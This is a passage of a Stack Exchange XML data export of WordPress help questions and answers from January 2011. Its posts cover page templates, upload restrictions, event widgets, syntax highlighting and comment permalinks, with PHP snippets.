LastEditDate="2011-01-31T01:03:04.673" LastActivityDate="2011-01-31T01:03:04.673" CommentCount="4" />
  <row Id="8105" PostTypeId="1" CreationDate="2011-01-30T04:57:05.893" Score="0" ViewCount="43" Body="&lt;p&gt;I'm setting up a wp site as a cms that will sell cd's. I have set up the individual titles as posts on a page I call recordings, and have a number of categories that make up the collecition of discs. I'm not sure if this is the best way to setup the site as a CMS, though. Additionally, I want to set up an another page for a blog under the &quot;about us&quot; section of the site. Is this possible, since I've already allocated the recordings page as the posts page? Or can I just make a blog entry on the Posts page w/the category of Blog and call only those posts? Is there a better way to make a 'recordings' database besides using the posts approach?&lt;/p&gt;&#xA;" OwnerUserId="2815" LastActivityDate="2011-01-30T07:42:56.453" Title="posts and cms and posts again" Tags="&lt;posts&gt;&lt;cms&gt;&lt;blog&gt;" AnswerCount="2" />
  <row Id="8106" PostTypeId="2" ParentId="8100" CreationDate="2011-01-30T04:58:10.573" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Josh:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing built-in to WordPress to provide an &lt;em&gt;&quot;index&quot;&lt;/em&gt; page for your taxonomy as your question implies there should be &lt;em&gt;(and I agree, there should be! But there isn't.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you have to hack it and one way to do that is to create a page called &lt;em&gt;&quot;Main Ingredient&quot;&lt;/em&gt; with a &lt;code&gt;main-ingredient&lt;/code&gt; URL slug and assign it &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;a page template for your theme that you will create&lt;/strong&gt;&lt;/a&gt; &lt;em&gt;(maybe)&lt;/em&gt; called &lt;em&gt;&quot;Main Ingredient List&quot;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110130-012512.png&quot; alt=&quot;Screenshot showing where to set Page Template in WordPress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a starting point; maybe use the file name &lt;code&gt;page-main-ingredient-list.php&lt;/code&gt;  for your page template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Main Ingredient List&#xA;*/&#xA;get_header();&#xA;$main_ingredients = get_terms('main-ingredient');&#xA;foreach($main_ingredients as $main_ingredient) {&#xA;  $dishes = new WP_Query(array(&#xA;    'post_type' =&amp;gt; 'dish',&#xA;    'post_per_page'=&amp;gt;-1,&#xA;    'taxonomy'=&amp;gt;'main-ingredient',&#xA;    'term' =&amp;gt; $main_ingredient-&amp;gt;slug,&#xA;  ));&#xA;  $link = get_term_link(intval($main_ingredient-&amp;gt;term_id),'main-ingredient');&#xA;  echo &quot;&amp;lt;h2&amp;gt;&amp;lt;a href=\&quot;{$link}\&quot;&amp;gt;{$main_ingredient-&amp;gt;name}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&quot;;&#xA;  echo '&amp;lt;ul&amp;gt;';&#xA;  while ( $dishes-&amp;gt;have_posts() ) {&#xA;    $dishes-&amp;gt;the_post();&#xA;    $link = get_permalink($post-&amp;gt;ID);&#xA;    $title = get_the_title();&#xA;    echo &quot;&amp;lt;li&amp;gt;&amp;lt;a href=\&quot;{$link}\&quot;&amp;gt;{$title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;  }&#xA;  echo '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;get_footer();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then here's what the page looks like with some dummy data on my test site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Main_Ingredient_|_WordPress_3.0_Test_Site-20110130-012858.png&quot; alt=&quot;Screenshot of a Taxonomy Index page for a WordPress Site&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;-Mike &lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-30T06:37:23.443" LastActivityDate="2011-01-30T06:37:23.443" CommentCount="11" />
  <row Id="8107" PostTypeId="1" AcceptedAnswerId="8111" CreationDate="2011-01-30T05:00:22.163" Score="6" ViewCount="386" Body="&lt;p&gt;Somebody knows some trick in Add new Post to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable the upload of audio, video and other filetypes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Only accept the upload of an image (jpg, png, gif).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Limit the upload of each Post to only One image (no more than one).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-08-05T09:23:05.103" Title="Limit image upload to one and disable audio, video and other document file types to upload" Tags="&lt;uploads&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="7" />
  <row Id="8108" PostTypeId="1" AcceptedAnswerId="8110" CreationDate="2011-01-30T05:12:59.363" Score="1" ViewCount="155" Body="&lt;p&gt;I'm using PHP Exec to build a widget to show a list of upcoming events:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function filter_whene($whene = '') {&#xA;    $whene .= &quot; AND post_date &amp;gt;= '&quot; . date('Y-m-d') . &quot;' &quot;;&#xA;return $whene;&#xA;  }&#xA;add_filter('posts_whene', 'filter_whene');&#xA;query_posts('cat=10&amp;amp;showposts=3&amp;amp;');&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;?php the_date(); ?&amp;gt; &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&#xA;  &amp;lt;?php the_title(); ?&amp;gt;&#xA;  &amp;lt;/a&amp;gt;  &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile;&#xA;else: ?&amp;gt;&amp;lt;p&amp;gt;Não há eventos agendados.&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php remove_filter('posts_whene', 'filter_whene'); ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems to work on the front end but I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Cannot redeclare filter_whene() (previously declared in /home/content/a/c/a/acamorg/html/cea2/wp-content/plugins/exec-php/includes/runtime.php(42) : eval()'d code:3) in /home/content/a/c/a/acamorg/html/cea2/wp-content/plugins/exec-php/includes/runtime.php(42) : eval()'d code on line 6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on the widget backend.&#xA;Any suggestions?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2816" LastEditorUserId="2816" LastEditorDisplayName="" LastEditDate="2011-04-23T18:44:43.913" LastActivityDate="2011-04-23T20:29:55.640" Title="Get posts after today (upcoming events)" Tags="&lt;widgets&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8109" PostTypeId="2" ParentId="8108" CreationDate="2011-01-30T05:21:33.563" Score="0" ViewCount="" Body="&lt;p&gt;This doesn't directly answered your question. I use this snippet on my sidebar, to get future posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;query_posts('post_status=future&amp;amp;order=asc&amp;amp;orderby=date');&#xA;//The Loop&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;  echo &quot;&amp;lt;li&amp;gt;&quot;;&#xA;  echo the_date();&#xA;  echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;  echo the_title();&#xA;  echo&quot;&amp;lt;/li&amp;gt;&quot;;&#xA;endwhile; else:&#xA;   echo &quot;&amp;lt;li&amp;gt;there's no future post at the moment.&amp;lt;/li&amp;gt;&quot;;&#xA;endif;&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="127" LastActivityDate="2011-01-30T05:21:33.563" CommentCount="1" />
  <row Id="8110" PostTypeId="2" ParentId="8108" CreationDate="2011-01-30T05:46:36.177" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@user2816:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would seem you are using that code in more than one widget?  Try changing part of that code from these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_whene($whene = '') {&#xA;  $whene .= &quot; AND post_date &amp;gt;= '&quot; . date('Y-m-d') . &quot;' &quot;;&#xA;  return $whene;&#xA;}&#xA;add_filter('posts_whene', 'filter_whene');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!function_exists('filter_whene')) {&#xA;  function filter_whene($whene = '') {&#xA;    $whene .= &quot; AND post_date &amp;gt;= '&quot; . date('Y-m-d') . &quot;' &quot;;&#xA;    return $whene;&#xA;  }&#xA;}&#xA;add_filter('posts_whene', 'filter_whene');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Better, move as much of your code as possible to your theme's &lt;code&gt;functions.php&lt;/code&gt; file. Wrap it in a function and then you only have to type one line of code in your PHP Exec widget. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or better yet, &lt;strong&gt;get rid of that plugin completely and &lt;a href=&quot;http://codex.wordpress.org/Widgets_API#Developing_Widgets&quot; rel=&quot;nofollow&quot;&gt;write your own widget&lt;/a&gt;&lt;/strong&gt;; &lt;em&gt;because PHP Exec is&lt;/em&gt; &lt;strong&gt;&lt;em&gt;evil&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Okay, PHP Exec is not evil &lt;em&gt;per se&lt;/em&gt;, but once you try to do anything more than trivial it creates more problems than it solves.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="2816" LastEditorDisplayName="" LastEditDate="2011-04-23T20:29:55.640" LastActivityDate="2011-04-23T20:29:55.640" CommentCount="1" />
  <row Id="8111" PostTypeId="2" ParentId="8107" CreationDate="2011-01-30T05:50:14.860" Score="9" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;José Pablo Orozco Marín:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was about to give up thinking that it wasn't possible or at least easy and then I stumbled onto the &lt;code&gt;wp_handle_upload_prefilter&lt;/code&gt; filter which gives you exactly what you asked for! Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_handle_upload_prefilter', 'yoursite_wp_handle_upload_prefilter');&#xA;function yoursite_wp_handle_upload_prefilter($file) {&#xA;  // This bit is for the flash uploader&#xA;  if ($file['type']=='application/octet-stream' &amp;amp;&amp;amp; isset($file['tmp_name'])) {&#xA;    $file_size = getimagesize($file['tmp_name']);&#xA;    if (isset($file_size['error']) &amp;amp;&amp;amp; $file_size['error']!=0) {&#xA;      $file['error'] = &quot;Unexpected Error: {$file_size['error']}&quot;;&#xA;      return $file;&#xA;    } else {&#xA;      $file['type'] = $file_size['mime'];&#xA;    }&#xA;  }&#xA;  list($category,$type) = explode('/',$file['type']);&#xA;  if ('image'!=$category || !in_array($type,array('jpg','jpeg','gif','png'))) {&#xA;    $file['error'] = &quot;Sorry, you can only upload a .GIF, a .JPG, or a .PNG image file.&quot;;&#xA;  } else if ($post_id = (isset($_REQUEST['post_id']) ? $_REQUEST['post_id'] : false)) {&#xA;    if (count(get_posts(&quot;post_type=attachment&amp;amp;post_parent={$post_id}&quot;))&amp;gt;0)&#xA;      $file['error'] = &quot;Sorry, you cannot upload more than one (1) image.&quot;;&#xA;  }&#xA;  return $file;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here are some screenshots showing how it looks in action:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110130-031020.png&quot; alt=&quot;Screenshot of WordPress Upload Dialog with code to disable multiple uploads of anything besides image files&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110130-030854.png&quot; alt=&quot;Screenshot of WordPress Upload Dialog with code to disable multiple image uploads per post&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-31T02:33:59.600" LastActivityDate="2011-01-31T02:33:59.600" CommentCount="8" />
  <row Id="8112" PostTypeId="2" ParentId="8087" CreationDate="2011-01-30T06:11:46.753" Score="1" ViewCount="" Body="&lt;p&gt;You can use 1 database for for multiple blogs.  WordPress Multisite does this for you by appending and additional prefix to the tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in an MS database with wp_ set as the prefix in wp-config.php the additional tables will have wp_1_, wp_2_, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without using Multisite you can do this yourself by changing the prefix for each blog in the respective wp-config.php file.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-01-30T06:11:46.753" />
  <row Id="8113" PostTypeId="2" ParentId="8105" CreationDate="2011-01-30T06:12:38.017" Score="1" ViewCount="" Body="&lt;p&gt;I would suggest making a 'recording' post type and leave posts for the blog section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;blog as category&quot; approach would work too, but it's rather messy, I think.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-30T06:12:38.017" CommentCount="1" />
  <row Id="8114" PostTypeId="2" ParentId="8103" CreationDate="2011-01-30T06:19:22.140" Score="2" ViewCount="" Body="&lt;p&gt;I use a similar plugin called WP Syntax, which works better, in my experience, so I'm going to answer for that one:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Question 1: Do I have to type in the Visual window or the HTML window?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the HTML window. I prefer the &lt;code&gt;&amp;lt;pre lang=&quot;php&quot;&amp;gt;&lt;/code&gt; mode.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Question 2: Does TinyMCE mess with this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, it will html encode special chars, for example transforming &lt;code&gt;=&amp;gt;&lt;/code&gt; into &lt;code&gt;=&amp;amp;gt;&lt;/code&gt; etc. so you should probably disable the rich editor alltogether.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-30T06:19:22.140" CommentCount="2" />
  <row Id="8115" PostTypeId="2" ParentId="8016" CreationDate="2011-01-30T06:21:54.263" Score="1" ViewCount="" Body="&lt;p&gt;Managed to solve this problem manually by hooking wpmu_new_blog with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;&#xA;$option_names = $wpdb-&amp;gt;get_results(&quot;SELECT option_name FROM {$wpdb-&amp;gt;options} WHERE option_name LIKE 'widget_%' OR option_name LIKE 'sidebars_%';&quot;);&#xA;&#xA;$widget_options = array();&#xA;foreach ($option_names as $option_name) {&#xA;    $widget_options[&quot;$option_name-&amp;gt;option_name&quot;] = get_option($option_name-&amp;gt;option_name);&#xA;}&#xA;&#xA;switch_to_blog($blog_id);&#xA;&#xA;delete_option( 'widget_search', array ( 2 =&amp;gt; array ( 'title' =&amp;gt; '' ), '_multiwidget' =&amp;gt; 1 ) );&#xA;delete_option( 'widget_recent-posts', array ( 2 =&amp;gt; array ( 'title' =&amp;gt; '', 'number' =&amp;gt; 5 ), '_multiwidget' =&amp;gt; 1 ) );&#xA;delete_option( 'widget_recent-comments', array ( 2 =&amp;gt; array ( 'title' =&amp;gt; '', 'number' =&amp;gt; 5 ), '_multiwidget' =&amp;gt; 1 ) );&#xA;delete_option( 'widget_archives', array ( 2 =&amp;gt; array ( 'title' =&amp;gt; '', 'count' =&amp;gt; 0, 'dropdown' =&amp;gt; 0 ), '_multiwidget' =&amp;gt; 1 ) );&#xA;delete_option( 'widget_categories', array ( 2 =&amp;gt; array ( 'title' =&amp;gt; '', 'count' =&amp;gt; 0, 'hierarchical' =&amp;gt; 0, 'dropdown' =&amp;gt; 0 ), '_multiwidget' =&amp;gt; 1 ) );&#xA;delete_option( 'widget_meta', array ( 2 =&amp;gt; array ( 'title' =&amp;gt; '' ), '_multiwidget' =&amp;gt; 1 ) );&#xA;&#xA;foreach ($widget_options as $option_name =&amp;gt; $option_value) {&#xA;    update_option($option_name, $option_value);&#xA;}&#xA;&#xA;restore_current_blog();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not the best code in the world, but it gets the job done, I suppose.&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2011-01-30T06:21:54.263" />
  <row Id="8116" PostTypeId="2" ParentId="7373" CreationDate="2011-01-30T06:35:05.813" Score="2" ViewCount="" Body="&lt;p&gt;I have done something similar to what facebook does, like where you can post status updates. Similar to what you're trying to do i believe. I just created a custom post type that had the supported the excerpt and title only, to use it for posting the statuses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;register_post_status&lt;/code&gt; is not what you think it is. The post statuses in wp are things like, publish, draft, future (scheduled posts) and locked/private. They are the statuses of your posts. Whether they are published or not, whatever they may be set as.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show who's currently logged in/out you could use a plugin for that. I recommend this one for example. &lt;a href=&quot;http://lesterchan.net/portfolio/programming/php/#wp-useronline&quot; rel=&quot;nofollow&quot;&gt;http://lesterchan.net/portfolio/programming/php/#wp-useronline&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also create a relatively short script that loops through all registered users, and checks if &lt;code&gt;is_user_logged_in()&lt;/code&gt; by their IDs. This wouldn't work to return the users who are logged in, it just loops through all the registered users so you can do stuff with them. You could figure out a way to make it check is_user_logged_in() though somehow I'm sure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$wp_user_search = $wpdb-&amp;gt;get_results(&quot;SELECT ID, display_name FROM $wpdb-&amp;gt;users ORDER BY ID&quot;);&#xA;&#xA;foreach ( $wp_user_search as $userid ) {&#xA;    $user_id = (int) $userid-&amp;gt;ID;&#xA;&#xA;    /* use this or some other current_user() function in WP to check if user is logged &#xA;       @is_user_logged_in();&#xA;    */&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-01-30T06:35:05.813" CommentCount="5" />
  <row Id="8117" PostTypeId="1" AcceptedAnswerId="8120" CreationDate="2011-01-30T07:12:38.107" Score="0" ViewCount="43" Body="&lt;p&gt;I just started using &lt;a href=&quot;http://www.vim.org/scripts/script.php?script_id=1953&quot; rel=&quot;nofollow&quot;&gt;vimpress&lt;/a&gt;. I can write posts by typing in Vim &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:BlogNew&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and send them by typing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:BlogSend&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think a lot of Wordpress developers may be using the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is Is it possible to list and create custom post types with Vimpress?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:26:53.553" LastActivityDate="2011-01-31T09:26:53.553" Title="Is it possible to list and create custom post types with Vimpress?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="8119" PostTypeId="2" ParentId="7728" CreationDate="2011-01-30T07:33:51.427" Score="1" ViewCount="" Body="&lt;p&gt;I have always just used it to include files which are within my theme directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if i have a folder in the theme dir called functions that has a file called utils.php ( wp-content/themes/mytheme/functions/utils.php ) then you can just include the file like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_template_part( 'functions/utils' ); // includes /functions/utils,php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or files in root of theme&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_template_part( 'sidebar' ); // includes sidebar.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't really get the 2 parameters way of doing it. It works fine for me to just use the dir path structure to files and just leave of the file type.&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-01-30T07:33:51.427" CommentCount="1" />
  <row Id="8120" PostTypeId="2" ParentId="8117" CreationDate="2011-01-30T07:36:00.423" Score="1" ViewCount="" Body="&lt;p&gt;simple and short.&#xA;up to vimpress latest version 0.91 which was developed at 2007-07-13 no you can't.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-30T07:36:00.423" />
  <row Id="8121" PostTypeId="2" ParentId="8105" CreationDate="2011-01-30T07:42:56.453" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@don de leon:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I definitely agree with @scribu but I'll elaborate by pointing you to a related set of answers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;&lt;strong&gt;Tips for using WordPress as a CMS?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/381/implementing-a-crunchbase-com-clone-using-wordpress/386#386&quot;&gt;&lt;strong&gt;Implementing a CrunchBase.com Clone using WordPress?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-30T07:42:56.453" CommentCount="2" />
  <row Id="8122" PostTypeId="1" CreationDate="2011-01-30T09:41:12.110" Score="0" ViewCount="103" Body="&lt;p&gt;I'm trying to post a JavaScript snippet on this page, &lt;a href=&quot;http://www.avital.tk/2011/01/jstree-crud-mvc-prt1/&quot; rel=&quot;nofollow&quot;&gt;http://www.avital.tk/2011/01/jstree-crud-mvc-prt1/&lt;/a&gt;. Coloring works fine, but there's no indentation. Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;strong&gt;recreated problem on smaller snippet&lt;/strong&gt;&#xA;Initially I used the HTML editor (not visual) and inserted the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre lang=&quot;javascript&quot;&amp;gt;&#xA;function xy(param){&#xA;return param+2;&#xA;}&#xA;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;RESULT: coloring, no indentation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, using external text editor I indented the snippet and copied it from there to the HTML editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre lang=&quot;javascript&quot;&amp;gt;&#xA;function xy(param){&#xA;    return param+2;&#xA;}&#xA;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;RESULT: coloring, indentation = all's good&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is, that I don't want to have to use an external text editor to indent my snippets&lt;/p&gt;&#xA;" LastActivityDate="2011-01-30T13:39:06.583" Title="Using WP-Syntax, getting highlighting but no indentation. why?" Tags="&lt;code&gt;&lt;syntax-highlighting&gt;" CommentCount="3" />
  <row Id="8123" PostTypeId="2" ParentId="1236" CreationDate="2011-01-30T10:38:19.827" Score="4" ViewCount="" Body="&lt;p&gt;This is how I did this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $tax = get_object_taxonomies('TAXONOMY_NAME');&#xA;    $taxterms = get_terms( $tax, 'orderby=count&amp;amp;offset=1&amp;amp;hide_empty=0&amp;amp;fields=all' );&#xA;?&amp;gt;&#xA;&amp;lt;select name='tax' id='tax'&amp;gt;&#xA;    &amp;lt;option value='' &amp;lt;?php if (!count( $names )) echo &quot;selected&quot;;?&amp;gt;&amp;gt;Select Term&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php &#xA;    foreach ( $taxterms as $term ) { &#xA;        echo '&amp;lt;option value=&quot;' . $term-&amp;gt;slug . '&quot; selected&amp;gt;' . $term-&amp;gt;name . '&amp;lt;/option&amp;gt;',&quot;\n&quot;; &#xA;    } ?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-01-30T10:38:19.827" />
  <row Id="8124" PostTypeId="2" ParentId="3316" CreationDate="2011-01-30T11:12:37.583" Score="0" ViewCount="" Body="&lt;p&gt;I have also answered this with a more simple way to do it on this post here &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7291/quick-edit-screen-customization#8098&quot;&gt;Quick edit screen customization&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-01-30T11:12:37.583" />
  <row Id="8125" PostTypeId="2" ParentId="2634" CreationDate="2011-01-30T11:16:52.277" Score="0" ViewCount="" Body="&lt;p&gt;This is why using the custom template files that you can use like page-{post_type}.php and single-{post_type}.php are extremely handy. And in 3,1, archive-{post_type}.php too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yea, you just create a template file for your post types, using the custom templates like that instead of the way where you put the template name in a comment at the top of the file. That way sucks, and I never ever use it, and I create post types like maddness.&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-01-30T11:16:52.277" />
  <row Id="8126" PostTypeId="2" ParentId="2405" CreationDate="2011-01-30T11:20:28.060" Score="0" ViewCount="" Body="&lt;p&gt;I have also create a widget plugin for this that's more customizable than the Recent Posts widget. If interested you can download it here &lt;a href=&quot;http://new2wp.com/pro/latest-custom-post-type-posts-sidebar-widget/&quot; rel=&quot;nofollow&quot;&gt;http://new2wp.com/pro/latest-custom-post-type-posts-sidebar-widget/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-01-30T11:20:28.060" />
  <row Id="8127" PostTypeId="1" AcceptedAnswerId="8129" CreationDate="2011-01-30T11:30:45.590" Score="0" ViewCount="114" Body="&lt;p&gt;i am trying to display comments by specific users at a custom area. &#xA;i am successful to do that, but the problem is the permalink structure . this code gets the url as permalinks disabled, if i enable the permalinks from my settings , then these urls starts giving a 404. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the code im using : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;if(get_query_var('author_name')) :&#xA;$curauth = get_userdatabylogin(get_query_var('author_name'));&#xA;else :&#xA;$curauth = get_userdata(get_query_var('author'));&#xA;endif;&#xA;$querystr = &quot;&#xA;    SELECT comment_ID, comment_post_ID, post_title, comment_content&#xA;    FROM $wpdb-&amp;gt;comments, $wpdb-&amp;gt;posts&#xA;    WHERE user_id = $uid&#xA;    AND comment_post_id = ID&#xA;    AND comment_approved = 1&#xA;    ORDER BY comment_ID DESC LIMIT 5&#xA; &quot;;&#xA; $comments_array = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;if ($comments_array): ?&amp;gt;&#xA;   &amp;lt;ul&amp;gt;&#xA;&amp;lt;? foreach ($comments_array as $comment):&#xA;    setup_postdata($comment);&#xA;    echo &quot;&amp;lt;li&amp;gt;&amp;lt;a href='&quot;. get_bloginfo('url') .&quot;/?p=&quot;.$comment-&amp;gt;comment_ID.&quot;'&amp;gt;Comment on &quot;. $comment-&amp;gt;post_title. &quot;&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&quot;. $comment-&amp;gt;comment_content . &quot;&amp;lt;/li&amp;gt;&quot;;&#xA;endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;? endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this gets the url as www.mysite.com/p?=xxxx .. if permalinks are enabled as mysite.com/post-perma-links/ it starts giving 404 on these links generated via the above code. rest of the function is workign fine,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO possible to get the permalink url in this case instead of the p?=xxx ?&#xA;help is appreciated&#xA;cheers&lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-01-30T11:56:03.110" Title="Problem in getting user comments permalinks" 